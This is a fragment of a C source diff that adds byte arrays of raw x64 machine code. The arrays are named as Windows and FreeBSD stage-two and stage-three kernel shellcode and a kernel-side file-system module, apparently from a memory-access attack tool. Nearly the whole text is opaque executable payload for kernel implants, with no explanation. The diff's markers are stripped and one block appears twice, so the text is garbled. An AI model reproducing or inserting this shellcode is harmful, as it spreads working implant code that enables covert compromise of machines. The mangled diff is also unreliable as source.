|
||||
0x45, 0x33, 0xc0, 0x48, 0x83, 0x38, 0x00, 0x75, 0x07, 0x48, 0x83, 0x78,
|
||||
0x08, 0x00, 0x74, 0x09, 0x4d, 0x03, 0xc6, 0x48, 0x83, 0xc0, 0x10, 0xeb,
|
||||
0xea, 0x49, 0xc1, 0xe0, 0x04, 0x48, 0x8b, 0xd6, 0x48, 0x8b, 0xcf, 0x4c,
|
||||
0x89, 0x43, 0x48, 0xff, 0x93, 0x40, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xce,
|
||||
0xff, 0x93, 0x00, 0x03, 0x00, 0x00, 0x4c, 0x89, 0x73, 0x38, 0x48, 0x83,
|
||||
0xbb, 0xf8, 0x0f, 0x00, 0x00, 0x05, 0x75, 0x17, 0x4c, 0x8d, 0x83, 0x20,
|
||||
0x02, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0x48, 0x8d, 0x93, 0x20, 0x01, 0x00,
|
||||
0x00, 0xff, 0xd7, 0x4c, 0x89, 0x73, 0x38, 0x48, 0x8b, 0x83, 0xf8, 0x0f,
|
||||
0x00, 0x00, 0x49, 0x2b, 0xc6, 0x49, 0x3b, 0xc6, 0x77, 0x52, 0x48, 0x8b,
|
||||
0x53, 0x48, 0x45, 0x33, 0xc0, 0x48, 0x8b, 0x4b, 0x40, 0xff, 0x93, 0x28,
|
||||
0x03, 0x00, 0x00, 0x48, 0x8b, 0xf0, 0x48, 0x85, 0xc0, 0x74, 0x34, 0x4c,
|
||||
0x8b, 0x43, 0x48, 0x4c, 0x39, 0xb3, 0xf8, 0x0f, 0x00, 0x00, 0x75, 0x08,
|
||||
0x48, 0x8b, 0xd0, 0x48, 0x8b, 0xcf, 0xeb, 0x06, 0x48, 0x8b, 0xd7, 0x48,
|
||||
0x8b, 0xc8, 0xff, 0x93, 0x40, 0x03, 0x00, 0x00, 0x48, 0x8b, 0x53, 0x48,
|
||||
0x48, 0x8b, 0xce, 0xff, 0x93, 0x30, 0x03, 0x00, 0x00, 0x4c, 0x89, 0x73,
|
||||
0x38, 0xeb, 0x05, 0x48, 0x83, 0x63, 0x38, 0x00, 0x48, 0x83, 0xbb, 0xf8,
|
||||
0x0f, 0x00, 0x00, 0x06, 0x75, 0x15, 0x4c, 0x8b, 0x43, 0x48, 0x48, 0x8b,
|
||||
0xcf, 0x48, 0x8b, 0x53, 0x40, 0xff, 0x93, 0x40, 0x03, 0x00, 0x00, 0x4c,
|
||||
0x89, 0x73, 0x38, 0x48, 0x83, 0xbb, 0xf8, 0x0f, 0x00, 0x00, 0x07, 0x75,
|
||||
0x15, 0x4c, 0x8b, 0x43, 0x48, 0x48, 0x8b, 0xd7, 0x48, 0x8b, 0x4b, 0x40,
|
||||
0xff, 0x93, 0x40, 0x03, 0x00, 0x00, 0x4c, 0x89, 0x73, 0x38, 0x48, 0x83,
|
||||
0xa3, 0xf8, 0x0f, 0x00, 0x00, 0x00, 0x33, 0xf6, 0xe9, 0x98, 0xfe, 0xff,
|
||||
0xff, 0xb8, 0x00, 0x00, 0x00, 0xf0, 0x48, 0x8b, 0xcf, 0x48, 0x89, 0x43,
|
||||
0x30, 0xff, 0x93, 0x08, 0x03, 0x00, 0x00, 0x48, 0x83, 0x63, 0x20, 0x00,
|
||||
0x48, 0x83, 0x63, 0x28, 0x00, 0x48, 0x83, 0x23, 0x00, 0x48, 0x83, 0xa3,
|
||||
0xf8, 0x0f, 0x00, 0x00, 0x00, 0x4c, 0x89, 0x73, 0x38, 0x48, 0x8b, 0x5c,
|
||||
0x24, 0x38, 0x48, 0x8b, 0x74, 0x24, 0x40, 0x48, 0x8b, 0x7c, 0x24, 0x48,
|
||||
0x48, 0x83, 0xc4, 0x20, 0x41, 0x5e, 0xc3
|
||||
0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08, 0x48, 0x89, 0x70, 0x10, 0x48,
|
||||
0x89, 0x78, 0x18, 0x4c, 0x89, 0x70, 0x20, 0x55, 0x48, 0x8d, 0x68, 0xa1,
|
||||
0x48, 0x81, 0xec, 0xa0, 0x00, 0x00, 0x00, 0x48, 0xb8, 0x77, 0x33, 0x33,
|
||||
0x11, 0x77, 0x33, 0x11, 0xff, 0x48, 0xc7, 0x41, 0x50, 0x01, 0x00, 0x00,
|
||||
0x00, 0x48, 0x89, 0x01, 0x48, 0x8d, 0x75, 0x03, 0x48, 0x8b, 0xd9, 0xc7,
|
||||
0x45, 0xd7, 0x1f, 0x9d, 0x48, 0x9d, 0xc7, 0x45, 0xdb, 0x92, 0xf5, 0x45,
|
||||
0x13, 0x4c, 0x8d, 0xb1, 0x58, 0x03, 0x00, 0x00, 0xc7, 0x45, 0xdf, 0xbc,
|
||||
0x1e, 0x36, 0x9f, 0xbf, 0x0b, 0x00, 0x00, 0x00, 0xc7, 0x45, 0xe3, 0x57,
|
||||
0x63, 0x32, 0x5a, 0xc7, 0x45, 0xe7, 0x6f, 0xa5, 0x77, 0x49, 0xc7, 0x45,
|
||||
0xeb, 0xf9, 0xbe, 0xdd, 0x05, 0xc7, 0x45, 0xef, 0xc9, 0xc5, 0x6e, 0x6c,
|
||||
0xc7, 0x45, 0xf3, 0x02, 0x6b, 0xa0, 0x94, 0xc7, 0x45, 0xf7, 0x9b, 0x97,
|
||||
0x64, 0xcf, 0xc7, 0x45, 0xfb, 0x89, 0x4d, 0x3f, 0xbc, 0xc7, 0x45, 0xff,
|
||||
0x92, 0x6d, 0x58, 0x58, 0x48, 0x8b, 0x4b, 0x08, 0x48, 0x8d, 0x76, 0xfc,
|
||||
0x8b, 0x16, 0x4d, 0x8d, 0x76, 0xf8, 0xe8, 0xbd, 0xfe, 0xff, 0xff, 0x49,
|
||||
0x89, 0x06, 0x83, 0xc7, 0xff, 0x75, 0xe5, 0x48, 0x8b, 0xcb, 0x4c, 0x8d,
|
||||
0x9c, 0x24, 0xa0, 0x00, 0x00, 0x00, 0x49, 0x8b, 0x5b, 0x10, 0x49, 0x8b,
|
||||
0x73, 0x18, 0x49, 0x8b, 0x7b, 0x20, 0x4d, 0x8b, 0x73, 0x28, 0x49, 0x8b,
|
||||
0xe3, 0x5d, 0xe9, 0x01, 0x00, 0x00, 0x00, 0xcc, 0x48, 0x8b, 0xc4, 0x48,
|
||||
0x89, 0x58, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41,
|
||||
0x56, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xd9, 0x48, 0xc7, 0x40, 0x08,
|
||||
0xf0, 0xd8, 0xff, 0xff, 0xb9, 0x00, 0x00, 0x00, 0x01, 0x41, 0xbe, 0xff,
|
||||
0xff, 0xff, 0xff, 0x41, 0x8b, 0xd6, 0x33, 0xf6, 0x48, 0x89, 0x4b, 0x18,
|
||||
0xff, 0x93, 0x10, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xf8, 0x48, 0x85, 0xc0,
|
||||
0x75, 0x2c, 0xb9, 0x00, 0x00, 0x40, 0x00, 0x41, 0x8b, 0xd6, 0x48, 0x89,
|
||||
0x4b, 0x18, 0xff, 0x93, 0x10, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xf8, 0x48,
|
||||
0x85, 0xc0, 0x75, 0x12, 0x48, 0x21, 0x73, 0x18, 0xb8, 0x01, 0x00, 0x00,
|
||||
0xf0, 0x48, 0x89, 0x43, 0x30, 0xe9, 0xab, 0x01, 0x00, 0x00, 0x48, 0x8b,
|
||||
0xcf, 0x48, 0x89, 0x7b, 0x28, 0xff, 0x93, 0x18, 0x03, 0x00, 0x00, 0x48,
|
||||
0x89, 0x43, 0x20, 0x41, 0xbe, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x83,
|
||||
0xf8, 0x0f, 0x00, 0x00, 0x4c, 0x89, 0x73, 0x30, 0x48, 0x85, 0xc0, 0x75,
|
||||
0x23, 0x49, 0x03, 0xf6, 0x48, 0xb8, 0x00, 0xe4, 0x0b, 0x54, 0x02, 0x00,
|
||||
0x00, 0x00, 0x48, 0x3b, 0xf0, 0x76, 0xde, 0x4c, 0x8d, 0x44, 0x24, 0x30,
|
||||
0x33, 0xd2, 0x33, 0xc9, 0xff, 0x93, 0x50, 0x03, 0x00, 0x00, 0xeb, 0xcd,
|
||||
0x48, 0xc7, 0x43, 0x30, 0x02, 0x00, 0x00, 0x00, 0x48, 0x83, 0xf8, 0x03,
|
||||
0x0f, 0x84, 0x23, 0x01, 0x00, 0x00, 0x48, 0x83, 0xf8, 0x04, 0x75, 0x4e,
|
||||
0xff, 0x93, 0x20, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xf0, 0x48, 0x85, 0xc0,
|
||||
0x75, 0x06, 0x48, 0x21, 0x43, 0x38, 0xeb, 0x3a, 0x45, 0x33, 0xc0, 0x48,
|
||||
0x83, 0x38, 0x00, 0x75, 0x07, 0x48, 0x83, 0x78, 0x08, 0x00, 0x74, 0x09,
|
||||
0x4d, 0x03, 0xc6, 0x48, 0x83, 0xc0, 0x10, 0xeb, 0xea, 0x49, 0xc1, 0xe0,
|
||||
0x04, 0x48, 0x8b, 0xd6, 0x48, 0x8b, 0xcf, 0x4c, 0x89, 0x43, 0x48, 0xff,
|
||||
0x93, 0x40, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xce, 0xff, 0x93, 0x00, 0x03,
|
||||
0x00, 0x00, 0x4c, 0x89, 0x73, 0x38, 0x48, 0x83, 0xbb, 0xf8, 0x0f, 0x00,
|
||||
0x00, 0x05, 0x75, 0x17, 0x4c, 0x8d, 0x83, 0x20, 0x02, 0x00, 0x00, 0x48,
|
||||
0x8b, 0xcb, 0x48, 0x8d, 0x93, 0x20, 0x01, 0x00, 0x00, 0xff, 0xd7, 0x4c,
|
||||
0x89, 0x73, 0x38, 0x48, 0x8b, 0x83, 0xf8, 0x0f, 0x00, 0x00, 0x49, 0x2b,
|
||||
0xc6, 0x49, 0x3b, 0xc6, 0x77, 0x52, 0x48, 0x8b, 0x53, 0x48, 0x45, 0x33,
|
||||
0xc0, 0x48, 0x8b, 0x4b, 0x40, 0xff, 0x93, 0x28, 0x03, 0x00, 0x00, 0x48,
|
||||
0x8b, 0xf0, 0x48, 0x85, 0xc0, 0x74, 0x34, 0x4c, 0x8b, 0x43, 0x48, 0x4c,
|
||||
0x39, 0xb3, 0xf8, 0x0f, 0x00, 0x00, 0x75, 0x08, 0x48, 0x8b, 0xd0, 0x48,
|
||||
0x8b, 0xcf, 0xeb, 0x06, 0x48, 0x8b, 0xd7, 0x48, 0x8b, 0xce, 0xff, 0x93,
|
||||
0x40, 0x03, 0x00, 0x00, 0x48, 0x8b, 0x53, 0x48, 0x48, 0x8b, 0xce, 0xff,
|
||||
0x93, 0x30, 0x03, 0x00, 0x00, 0x4c, 0x89, 0x73, 0x38, 0xeb, 0x05, 0x48,
|
||||
0x83, 0x63, 0x38, 0x00, 0x48, 0x83, 0xbb, 0xf8, 0x0f, 0x00, 0x00, 0x06,
|
||||
0x75, 0x15, 0x4c, 0x8b, 0x43, 0x48, 0x48, 0x8b, 0xcf, 0x48, 0x8b, 0x53,
|
||||
0x40, 0xff, 0x93, 0x40, 0x03, 0x00, 0x00, 0x4c, 0x89, 0x73, 0x38, 0x48,
|
||||
0x83, 0xbb, 0xf8, 0x0f, 0x00, 0x00, 0x07, 0x75, 0x15, 0x4c, 0x8b, 0x43,
|
||||
0x48, 0x48, 0x8b, 0xd7, 0x48, 0x8b, 0x4b, 0x40, 0xff, 0x93, 0x40, 0x03,
|
||||
0x00, 0x00, 0x4c, 0x89, 0x73, 0x38, 0x48, 0x83, 0xa3, 0xf8, 0x0f, 0x00,
|
||||
0x00, 0x00, 0x33, 0xf6, 0xe9, 0x98, 0xfe, 0xff, 0xff, 0xb8, 0x00, 0x00,
|
||||
0x00, 0xf0, 0x48, 0x8b, 0xcf, 0x48, 0x89, 0x43, 0x30, 0xff, 0x93, 0x08,
|
||||
0x03, 0x00, 0x00, 0x48, 0x83, 0x63, 0x20, 0x00, 0x48, 0x83, 0x63, 0x28,
|
||||
0x00, 0x48, 0x83, 0x23, 0x00, 0x48, 0x83, 0xa3, 0xf8, 0x0f, 0x00, 0x00,
|
||||
0x00, 0x4c, 0x89, 0x73, 0x38, 0x48, 0x8b, 0x5c, 0x24, 0x38, 0x48, 0x8b,
|
||||
0x74, 0x24, 0x40, 0x48, 0x8b, 0x7c, 0x24, 0x48, 0x48, 0x83, 0xc4, 0x20,
|
||||
0x41, 0x5e, 0xc3
|
||||
};
|
||||
|
||||
const BYTE WINX64_STAGE2_HAL_BIN[] = {
|
||||
@@ -891,21 +886,710 @@ const BYTE FREEBSD_X64_STAGE3_BIN[] = {
|
||||
0xc3
|
||||
};
|
||||
|
||||
const BYTE WINX64_VFS_KSH[] = {
|
||||
0x37, 0x13, 0xec, 0x3c, 0x72, 0x06, 0xae, 0x99, 0x7a, 0x09, 0xe0, 0x83,
|
||||
0x60, 0xa6, 0x94, 0x62, 0xb6, 0x64, 0x74, 0xfb, 0x90, 0x49, 0xd7, 0x36,
|
||||
0xc7, 0xfe, 0x97, 0xc0, 0x26, 0xe0, 0x4c, 0xac, 0xb3, 0xa5, 0x41, 0x65,
|
||||
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0x0a, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x9a, 0x1a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x64, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x56, 0x48, 0x8b, 0xf4, 0x48, 0x83, 0xe4, 0xf0,
|
||||
0x48, 0x83, 0xec, 0x20, 0xe8, 0xb7, 0x06, 0x00, 0x00, 0x48, 0x8b, 0xe6,
|
||||
0x5e, 0xc3, 0x0f, 0x20, 0xd8, 0xc3, 0x0f, 0x09, 0xc3, 0xcc, 0xcc, 0xcc,
|
||||
0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x7c, 0x24, 0x18, 0x55, 0x48,
|
||||
0x8d, 0x6c, 0x24, 0xa9, 0x48, 0x81, 0xec, 0xb0, 0x00, 0x00, 0x00, 0x48,
|
||||
0x83, 0x65, 0x6f, 0x00, 0x48, 0x8d, 0x4d, 0x17, 0x48, 0x8b, 0xfa, 0x49,
|
||||
0x8b, 0xd8, 0xba, 0x10, 0x00, 0x00, 0x00, 0xff, 0x97, 0x80, 0x00, 0x00,
|
||||
0x00, 0xba, 0x30, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x4d, 0x27, 0xff, 0x97,
|
||||
0x80, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x93, 0x1c, 0x01, 0x00, 0x00, 0x48,
|
||||
0x8d, 0x4d, 0x07, 0xff, 0x57, 0x78, 0x83, 0x64, 0x24, 0x50, 0x00, 0x48,
|
||||
0x8d, 0x45, 0x07, 0x48, 0x83, 0x64, 0x24, 0x48, 0x00, 0x4c, 0x8d, 0x4d,
|
||||
0x17, 0x48, 0x83, 0x65, 0x2f, 0x00, 0x4c, 0x8d, 0x45, 0x27, 0xc7, 0x44,
|
||||
0x24, 0x40, 0x20, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x4d, 0x6f, 0x48, 0x89,
|
||||
0x45, 0x37, 0x0f, 0x57, 0xc0, 0xb8, 0x03, 0x00, 0x00, 0x00, 0x48, 0xc7,
|
||||
0x45, 0x27, 0x30, 0x00, 0x00, 0x00, 0x89, 0x44, 0x24, 0x38, 0xba, 0x00,
|
||||
0x00, 0x00, 0x80, 0x89, 0x44, 0x24, 0x30, 0xc7, 0x44, 0x24, 0x28, 0x80,
|
||||
0x00, 0x00, 0x00, 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0x48, 0xc7, 0x45,
|
||||
0x3f, 0x40, 0x02, 0x00, 0x00, 0xf3, 0x0f, 0x7f, 0x45, 0x47, 0xff, 0x97,
|
||||
0x90, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x4d, 0x6f, 0x8b, 0xd8, 0x48, 0x85,
|
||||
0xc9, 0x74, 0x06, 0xff, 0x97, 0x88, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x9c,
|
||||
0x24, 0xb0, 0x00, 0x00, 0x00, 0x8b, 0xc3, 0x49, 0x8b, 0x5b, 0x10, 0x49,
|
||||
0x8b, 0x7b, 0x20, 0x49, 0x8b, 0xe3, 0x5d, 0xc3, 0x48, 0x89, 0x5c, 0x24,
|
||||
0x08, 0x48, 0x89, 0x7c, 0x24, 0x18, 0x55, 0x48, 0x8d, 0x6c, 0x24, 0xa9,
|
||||
0x48, 0x81, 0xec, 0xb0, 0x00, 0x00, 0x00, 0x48, 0x83, 0x65, 0x6f, 0x00,
|
||||
0x48, 0x8d, 0x4d, 0x17, 0x48, 0x8b, 0xfa, 0x49, 0x8b, 0xd8, 0xba, 0x10,
|
||||
0x00, 0x00, 0x00, 0xff, 0x97, 0x80, 0x00, 0x00, 0x00, 0xba, 0x30, 0x00,
|
||||
0x00, 0x00, 0x48, 0x8d, 0x4d, 0x27, 0xff, 0x97, 0x80, 0x00, 0x00, 0x00,
|
||||
0x48, 0x8d, 0x93, 0x1c, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x4d, 0x07, 0xff,
|
||||
0x57, 0x78, 0x83, 0x64, 0x24, 0x50, 0x00, 0x48, 0x8d, 0x45, 0x07, 0x48,
|
||||
0x83, 0x64, 0x24, 0x48, 0x00, 0x4c, 0x8d, 0x4d, 0x17, 0x48, 0x83, 0x65,
|
||||
0x2f, 0x00, 0x4c, 0x8d, 0x45, 0x27, 0xc7, 0x44, 0x24, 0x40, 0x00, 0x10,
|
||||
0x00, 0x00, 0x48, 0x8d, 0x4d, 0x6f, 0xc7, 0x44, 0x24, 0x38, 0x01, 0x00,
|
||||
0x00, 0x00, 0x0f, 0x57, 0xc0, 0xc7, 0x44, 0x24, 0x30, 0x04, 0x00, 0x00,
|
||||
0x00, 0xba, 0x00, 0x00, 0x00, 0x40, 0xc7, 0x44, 0x24, 0x28, 0x80, 0x00,
|
||||
0x00, 0x00, 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0x48, 0xc7, 0x45, 0x27,
|
||||
0x30, 0x00, 0x00, 0x00, 0x48, 0xc7, 0x45, 0x3f, 0x40, 0x02, 0x00, 0x00,
|
||||
0x48, 0x89, 0x45, 0x37, 0xf3, 0x0f, 0x7f, 0x45, 0x47, 0xff, 0x97, 0x90,
|
||||
0x00, 0x00, 0x00, 0x48, 0x8b, 0x4d, 0x6f, 0x8b, 0xd8, 0x48, 0x85, 0xc9,
|
||||
0x74, 0x06, 0xff, 0x97, 0x88, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x9c, 0x24,
|
||||
0xb0, 0x00, 0x00, 0x00, 0x8b, 0xc3, 0x49, 0x8b, 0x5b, 0x10, 0x49, 0x8b,
|
||||
0x7b, 0x20, 0x49, 0x8b, 0xe3, 0x5d, 0xc3, 0xcc, 0x48, 0x8b, 0xc4, 0x48,
|
||||
0x89, 0x58, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x55,
|
||||
0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8d, 0x68, 0xa1,
|
||||
0x48, 0x81, 0xec, 0xb0, 0x00, 0x00, 0x00, 0x33, 0xc0, 0x48, 0x8b, 0xd9,
|
||||
0x48, 0x8b, 0x89, 0x10, 0x02, 0x00, 0x00, 0x49, 0x8b, 0xf8, 0x48, 0x89,
|
||||
0x45, 0x67, 0x4c, 0x8b, 0xfa, 0x44, 0x8b, 0xf0, 0x48, 0x81, 0xf9, 0x00,
|
||||
0x00, 0x20, 0x00, 0x73, 0x0a, 0xb8, 0x07, 0x00, 0x00, 0xf0, 0xe9, 0xd5,
|
||||
0x01, 0x00, 0x00, 0x4c, 0x8b, 0x63, 0x28, 0x48, 0x81, 0xc1, 0x00, 0x00,
|
||||
0xf0, 0xff, 0x4c, 0x03, 0xa3, 0x08, 0x02, 0x00, 0x00, 0x48, 0xb8, 0x8f,
|
||||
0xe3, 0x38, 0x8e, 0xe3, 0x38, 0x8e, 0xe3, 0x48, 0xf7, 0xe1, 0x48, 0x8d,
|
||||
0x4d, 0xe7, 0x4c, 0x8b, 0xea, 0xba, 0x10, 0x00, 0x00, 0x00, 0x49, 0xc1,
|
||||
0xed, 0x09, 0x41, 0xff, 0x97, 0x80, 0x00, 0x00, 0x00, 0xbe, 0x30, 0x00,
|
||||
0x00, 0x00, 0x48, 0x8d, 0x4d, 0x07, 0x8b, 0xd6, 0x41, 0xff, 0x97, 0x80,
|
||||
0x00, 0x00, 0x00, 0x48, 0x8d, 0x97, 0x1c, 0x01, 0x00, 0x00, 0x48, 0x8d,
|
||||
0x4d, 0xf7, 0x41, 0xff, 0x57, 0x78, 0x4c, 0x21, 0x75, 0x0f, 0x48, 0x8d,
|
||||
0x45, 0xf7, 0x0f, 0x57, 0xc0, 0xc7, 0x44, 0x24, 0x28, 0x21, 0x40, 0x00,
|
||||
0x00, 0x4c, 0x8d, 0x4d, 0xe7, 0x48, 0x89, 0x45, 0x17, 0x4c, 0x8d, 0x45,
|
||||
0x07, 0x48, 0x89, 0x75, 0x07, 0xba, 0x01, 0x00, 0x10, 0x00, 0x48, 0xc7,
|
||||
0x45, 0x1f, 0x40, 0x02, 0x00, 0x00, 0x48, 0x8d, 0x4d, 0x67, 0xc7, 0x44,
|
||||
0x24, 0x20, 0x03, 0x00, 0x00, 0x00, 0xf3, 0x0f, 0x7f, 0x45, 0x27, 0x41,
|
||||
0xff, 0x97, 0x98, 0x00, 0x00, 0x00, 0x33, 0xd2, 0x8b, 0xf8, 0x85, 0xc0,
|
||||
0x0f, 0x85, 0x01, 0x01, 0x00, 0x00, 0xc6, 0x44, 0x24, 0x50, 0x01, 0xe9,
|
||||
0x96, 0x00, 0x00, 0x00, 0x48, 0x39, 0x55, 0xef, 0x0f, 0x84, 0xed, 0x00,
|
||||
0x00, 0x00, 0xba, 0x40, 0x02, 0x00, 0x00, 0x49, 0x8b, 0xcc, 0x41, 0xff,
|
||||
0x97, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x46, 0x28, 0x48, 0x8d, 0x56,
|
||||
0x5e, 0x49, 0x89, 0x44, 0x24, 0x30, 0x48, 0x8b, 0x46, 0x10, 0x49, 0x89,
|
||||
0x44, 0x24, 0x08, 0x48, 0x8b, 0x46, 0x08, 0x49, 0x89, 0x44, 0x24, 0x18,
|
||||
0x48, 0x8b, 0x46, 0x20, 0x49, 0x83, 0x0c, 0x24, 0x10, 0x49, 0x89, 0x44,
|
||||
0x24, 0x10, 0x8b, 0x46, 0x38, 0x24, 0x10, 0xf6, 0xd8, 0x48, 0x1b, 0xc9,
|
||||
0x48, 0xf7, 0xd9, 0x48, 0xff, 0xc1, 0x49, 0x09, 0x0c, 0x24, 0xb9, 0x03,
|
||||
0x01, 0x00, 0x00, 0x8b, 0x46, 0x3c, 0x3b, 0xc1, 0x0f, 0x47, 0xc1, 0x49,
|
||||
0x8d, 0x4c, 0x24, 0x38, 0x44, 0x8b, 0xc0, 0x41, 0xff, 0x57, 0x60, 0x33,
|
||||
0xd2, 0x49, 0x81, 0xc4, 0x40, 0x02, 0x00, 0x00, 0x49, 0xff, 0xc6, 0x4d,
|
||||
0x3b, 0xf5, 0x73, 0x73, 0x8b, 0x06, 0x85, 0xc0, 0x74, 0x08, 0x48, 0x03,
|
||||
0xf0, 0xe9, 0x78, 0xff, 0xff, 0xff, 0x88, 0x54, 0x24, 0x50, 0x48, 0x8b,
|
||||
0x4b, 0x28, 0x48, 0x8d, 0x45, 0xe7, 0x48, 0x03, 0x8b, 0x10, 0x02, 0x00,
|
||||
0x00, 0x45, 0x33, 0xc9, 0x48, 0x8b, 0xb3, 0x08, 0x02, 0x00, 0x00, 0x45,
|
||||
0x33, 0xc0, 0x48, 0x89, 0x54, 0x24, 0x48, 0x48, 0x81, 0xc6, 0x00, 0x00,
|
||||
0xf0, 0xff, 0x88, 0x54, 0x24, 0x40, 0x48, 0x03, 0xf1, 0x48, 0x8b, 0x4d,
|
||||
0x67, 0x48, 0xc7, 0x44, 0x24, 0x38, 0x03, 0x00, 0x00, 0x00, 0xc7, 0x44,
|
||||
0x24, 0x30, 0x00, 0x00, 0x10, 0x00, 0x48, 0x89, 0x74, 0x24, 0x28, 0x48,
|
||||
0x89, 0x44, 0x24, 0x20, 0x41, 0xff, 0x97, 0xa0, 0x00, 0x00, 0x00, 0x33,
|
||||
0xd2, 0x8b, 0xf8, 0x85, 0xc0, 0x0f, 0x84, 0x09, 0xff, 0xff, 0xff, 0x48,
|
||||
0x8b, 0x4d, 0x67, 0x4b, 0x8d, 0x04, 0xf6, 0x48, 0xc1, 0xe0, 0x06, 0x48,
|
||||
0x89, 0x83, 0x00, 0x02, 0x00, 0x00, 0x48, 0x85, 0xc9, 0x74, 0x09, 0x41,
|
||||
0xff, 0x97, 0x88, 0x00, 0x00, 0x00, 0x33, 0xd2, 0x4d, 0x85, 0xf6, 0x0f,
|
||||
0x45, 0xfa, 0x8b, 0xc7, 0x4c, 0x8d, 0x9c, 0x24, 0xb0, 0x00, 0x00, 0x00,
|
||||
0x49, 0x8b, 0x5b, 0x38, 0x49, 0x8b, 0x73, 0x40, 0x49, 0x8b, 0x7b, 0x48,
|
||||
0x49, 0x8b, 0xe3, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41, 0x5c, 0x5d,
|
||||
0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74,
|
||||
0x24, 0x18, 0x55, 0x57, 0x41, 0x56, 0x48, 0x8d, 0x6c, 0x24, 0xb9, 0x48,
|
||||
0x81, 0xec, 0xb0, 0x00, 0x00, 0x00, 0x48, 0x83, 0x65, 0x6f, 0x00, 0x48,
|
||||
0x8b, 0xfa, 0x48, 0x8b, 0xf1, 0xbb, 0x30, 0x00, 0x00, 0x00, 0x8b, 0xd3,
|
||||
0x48, 0x8d, 0x4d, 0x17, 0x4d, 0x8b, 0xf0, 0xff, 0x97, 0x80, 0x00, 0x00,
|
||||
0x00, 0x8d, 0x53, 0xe0, 0x48, 0x8d, 0x4d, 0xf7, 0xff, 0x97, 0x80, 0x00,
|
||||
0x00, 0x00, 0x49, 0x8d, 0x96, 0x1c, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x4d,
|
||||
0x07, 0xff, 0x57, 0x78, 0x83, 0x64, 0x24, 0x50, 0x00, 0x48, 0x8d, 0x45,
|
||||
0x07, 0x48, 0x83, 0x64, 0x24, 0x48, 0x00, 0x4c, 0x8d, 0x4d, 0xf7, 0x48,
|
||||
0x83, 0x65, 0x1f, 0x00, 0x4c, 0x8d, 0x45, 0x17, 0xc7, 0x44, 0x24, 0x40,
|
||||
0x20, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x4d, 0x6f, 0xc7, 0x44, 0x24, 0x38,
|
||||
0x01, 0x00, 0x00, 0x00, 0x0f, 0x57, 0xc0, 0xc7, 0x44, 0x24, 0x30, 0x03,
|
||||
0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x80, 0xc7, 0x44, 0x24, 0x28,
|
||||
0x80, 0x00, 0x00, 0x00, 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0x48, 0x89,
|
||||
0x5d, 0x17, 0x48, 0xc7, 0x45, 0x2f, 0x40, 0x02, 0x00, 0x00, 0x48, 0x89,
|
||||
0x45, 0x27, 0xf3, 0x0f, 0x7f, 0x45, 0x37, 0xff, 0x97, 0x90, 0x00, 0x00,
|
||||
0x00, 0x8b, 0xd8, 0x85, 0xc0, 0x75, 0x59, 0x48, 0x83, 0x64, 0x24, 0x40,
|
||||
0x00, 0x49, 0x8d, 0x86, 0x28, 0x03, 0x00, 0x00, 0x48, 0x8b, 0x8e, 0x08,
|
||||
0x02, 0x00, 0x00, 0x45, 0x33, 0xc9, 0x48, 0x03, 0x4e, 0x28, 0x45, 0x33,
|
||||
0xc0, 0x48, 0x89, 0x44, 0x24, 0x38, 0x33, 0xd2, 0x41, 0x8b, 0x86, 0x30,
|
||||
0x03, 0x00, 0x00, 0x89, 0x44, 0x24, 0x30, 0x48, 0x8d, 0x45, 0xf7, 0x48,
|
||||
0x89, 0x4c, 0x24, 0x28, 0x48, 0x8b, 0x4d, 0x6f, 0x48, 0x89, 0x44, 0x24,
|
||||
0x20, 0xff, 0x97, 0xb0, 0x00, 0x00, 0x00, 0x8b, 0xd8, 0x85, 0xc0, 0x75,
|
||||
0x0b, 0x48, 0x8b, 0x45, 0xff, 0x48, 0x89, 0x86, 0x00, 0x02, 0x00, 0x00,
|
||||
0x48, 0x8b, 0x4d, 0x6f, 0x48, 0x85, 0xc9, 0x74, 0x06, 0xff, 0x97, 0x88,
|
||||
0x00, 0x00, 0x00, 0x4c, 0x8d, 0x9c, 0x24, 0xb0, 0x00, 0x00, 0x00, 0x8b,
|
||||
0xc3, 0x49, 0x8b, 0x5b, 0x20, 0x49, 0x8b, 0x73, 0x30, 0x49, 0x8b, 0xe3,
|
||||
